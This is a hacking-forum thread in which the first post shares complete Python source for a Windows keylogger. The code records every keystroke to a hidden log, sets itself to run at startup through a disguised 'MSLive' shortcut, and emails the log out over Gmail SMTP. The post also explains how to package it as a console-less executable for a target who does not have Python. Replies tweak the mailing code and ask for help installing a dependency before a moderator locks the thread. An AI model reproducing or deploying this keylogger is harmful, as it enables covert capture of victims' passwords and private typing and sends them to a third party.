EvilZone

Programming and Scripting => Scripting Languages => : R3ckless September 07, 2013, 06:35:50 PM

: [Python] Keylogger for you and me
: R3ckless September 07, 2013, 06:35:50 PM
So I somehow stumbled upon a video on youtube to make a basic keylogger (http://www.youtube.com/watch?v=8BiOPBsXh0g).

I found it interesting and decided to look up on the internet was to get the text file to  it back to me and among other things, it escalated.

Code:

:
import pyHook, pythoncom, logging, sys
import time
import os, sys, win32com.client
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
import smtplib

if not os.path.exists('C:\\MSLive\\'):
    os.makedirs('C:\\MSLive\\')
    myfile = open('C:\\MSLive\\stuff.txt', 'w')
    myfile.write("Fun starts here\n")
    myfile.close()

shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut("C:\\Users\\"+ os.environ.get("USERNAME")+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MSLive.lnk")
shortcut.Targetpath = "C:\\Users\\"+ os.environ.get("USERNAME")+"\\Downloads\\collegemeh\\key.exe"
shortcut.save()

msg = MIMEMultipart()
msg.attach(MIMEText(file("C:\\MSLive\\stuff.txt").read()))

mailer = smtplib.SMTP("smtp.gmail.com", 587)

mailer.ehlo()
mailer.starttls()
mailer.ehlo()
mailer.login('username', 'password')
mailer.sendmail("from@example.com", "to@example.com", msg.as_string())
mailer.close()


file_log = 'C:\\MSLive\\stuff.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
   
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

What it does:
Now you may ask, what if the target doesn't use python?
Use pyinstaller with the --noconsole argument. It will make a folder in the pyinstaller folder with the name of the original script and within the dist folder there is the exe and its contents. Up to you what to do with this or how you wanna do it.

NOTES:

Any input to improve it is appreciated!
: Re: [Python] Keylogger for you and me
: vezzy September 07, 2013, 07:15:57 PM
Fairly decent overall, but a little note.

Although the most publicly documented handshake for authenticating to Gmail's SMTP server is as you've written:

: (Python)
mailer.ehlo()
mailer.starttls()
mailer.ehlo()

It can be shortened down to:

: (Python)
mailer.ehlo_or_helo_if_needed()
mailer.starttls()

From my experience. The second EHLO becomes redundant.
: Re: [Python] Keylogger for you and me
: Brushes April 19, 2014, 01:25:52 AM
Nice work R3ckless. I tried running the program but I was given an ImportError: No module named 'pyHook'

Please how do I get this module?

Thank you boss!
: Re: [Python] Keylogger for you and me
: lucid April 19, 2014, 07:50:35 AM
Locked because one-time poster magnet.

/